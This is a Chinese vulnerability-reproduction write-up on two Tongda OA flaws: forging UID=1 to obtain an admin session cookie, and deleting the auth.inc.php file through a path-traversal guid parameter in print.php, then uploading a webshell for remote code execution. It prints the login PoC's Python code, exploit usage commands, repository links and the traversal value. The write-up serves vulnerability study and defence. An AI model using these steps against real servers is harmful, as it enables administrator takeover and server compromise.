通达OA漏洞复现 – 作者:ATL安全团队

1.任意用户登录漏洞

影响版本:

通达OA2017版本、通达OA < 11.5版本

11.4下载地址:

下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe

漏洞介绍:

通过此漏洞构造请求,可以造成任意用户登录,包括系统管理,之后上传木马控制服务器。

Poc地址:

https://github.com/NS-Sp4ce/TongDaOA-Fake-User

漏洞复现:

Poc的用法:POC.py -v 11 -url http://10.211.55.5/,生成一个cookie。

图片[1]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

正常登陆后的地址为/general/index.php,我们只需要将cookie替换成生成的cookie值。

图片[2]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

请求地址,更换用POC生成的Cookie,发现无需用户名和密码登录成功登录成功。

图片[3]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

Poc分析:

Poc关键在getV11Session这里,可以看到通过定义getSessUrl,拼接/logincheck_code.php这个文件,我们访问下/logincheck_code.php这个文件的内容

def getV11Session(url):   
        checkUrl = url+'/general/login_code.php' 
    try:   
        headers["User-Agent"] = choice(USER_AGENTS)   
        res = requests.get(checkUrl,headers=headers)   
        resText = str(res.text).split('{')   
        codeUid = resText[-1].replace('}"}', '').replace('\r\n', '')   
        getSessUrl = url+'/logincheck_code.php'   
        res = requests.post(getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)   
        tmp_cookie = res.headers['Set-Cookie']   
        headers["User-Agent"] = choice(USER_AGENTS)   
        headers["Cookie"] = tmp_cookie   
        check_available = requests.get(url + '/general/index.php',headers=headers)   
        if '用户未登录' not in check_available.text:        
                if '重新登录' not in check_available.text:            
                    print('[+]Get Available COOKIE:' + tmp_cookie)    
                else:        
                    print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.') 
        except:     print('[-]Something Wrong With ‘+url)

访问为一个二维码

图片[4]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

将这个源码下载,打开后有一个uid,通过这个uid,构造post包发到/logincheck_code.php,会返回一个session,浏览器中替换session得到管理员权限。

"status":1,"code_uid":"{B69084B5-BCBA-6701-41D2-563667A88C66}"}

源码分析:

既然Poc读取了logincheck_code.php那就先从这里来看

图片[5]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

第14行代码中,获取一个登录的标识id,判断标识是否存在。

而造成漏洞的关键点在第28行,这个查询语句上,$UID可以看到这个UID变量是可控的,默认UID=1时,用户是admin权限,而当我们请求uid=1时,从sql中查询返回的结果就是admin的信息。

图片[6]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

这两个位置,对查询到的UID进行SESSION赋值,因此,只要伪造UID=1的值,就可以拿到admin的cookie值。

我们再跟进下$login_codeuid这参数,在/general/login_code.php

图片[7]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

7-12行,随机生成一个id,在35行通过set_cache将id写入缓存中,37行是将生成的id输出。

再看poc,思路是先访问/general/login_code.php,获得一个随机的id值,再去访问/logincheck_code.php,使用POST方法传参数,参数就是随机获得的id值和uid=1,就能获得返回包PHPSESSID。

手动复现

图片[8]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

图片[9]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

2.任意文件上传配合文件包含漏洞

影响版本

11.6版本,下载地址:https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe

漏洞介绍

该漏洞是由于print.php存在任意文件删除漏洞,通过删除通达OA身份认证文件auth.inc.php达到绕过登录限制, 结合任意文件上传达到RCE的效果

漏洞复现

Exp下载地址:https://github.com/admintony/TongdaRCE

exp的使用方法: python3 tongda-rce.py http://172.16.98.135/

图片[10]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

用冰蝎连接,连接密码pass

图片[11]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

登录界面查看,发现界面变了,实际是上是exp会删除掉auth.inc.php文件,这个文件是用来做身份验证的,而upload.php也包含了此文件,但是通过include包含进来的是不会导致程序挂掉的。

图片[12]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

漏洞分析

任意文件上传漏洞造成的关键在webroot\ispirit\im\upload.php

图片[13]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

第4行的位置,传入一个P参数,判断P的值是否不为空,之后调用了4个php文件

图片[14]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

19行中,输入的参数是可控的,从第21行开始,对$DEST_UID的值进行进行判断,$DEST_UID的值为空退出;$DEST_UID的值为0,$UOLOAD_MODE值为不等于2,退出;

图片[15]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

43行判断文件上传模式,45行调用了upload的函数,84行之后有3种上传模式。

我们跟进45行看下upload的函数,函数位置在/inc/utility_file.php中

图片[16]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

判断文件名是否符合上传的格式

图片[17]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

在这里看到上传格式是php,会返回false,strtolower(substr($FILE_NAME, $POS + 1, 3))这段意思是从.开始来匹配3位,判断是否为php

图片[18]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

由于exp会删除一个文件,我们接着定位文件删除的漏洞点\webroot\module\appbuilder\assets\print.php

图片[19]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

可以看到第6-8行就实现了任意文件删除,只要传入guid=../../../webroot/inc/auth.inc.php,带入unlink就可以删除身份验证的这个文件。也就是利用文件包含删除身份验证,从而带入参数可以上传文件。

exp分析

图片[20]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

图片[21]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

和我们分析漏洞点的地方一致。

按照这次应急的日志对比我们复现的日志查看,在/inc/auth.inc.php状态为404时,身份校验文件已经被删除,后面就是任意文件上传了。

图片[22]-通达OA漏洞复现 – 作者:ATL安全团队-安全小百科

来源:freebuf.com 2021-02-25 14:11:45 by: ATL安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论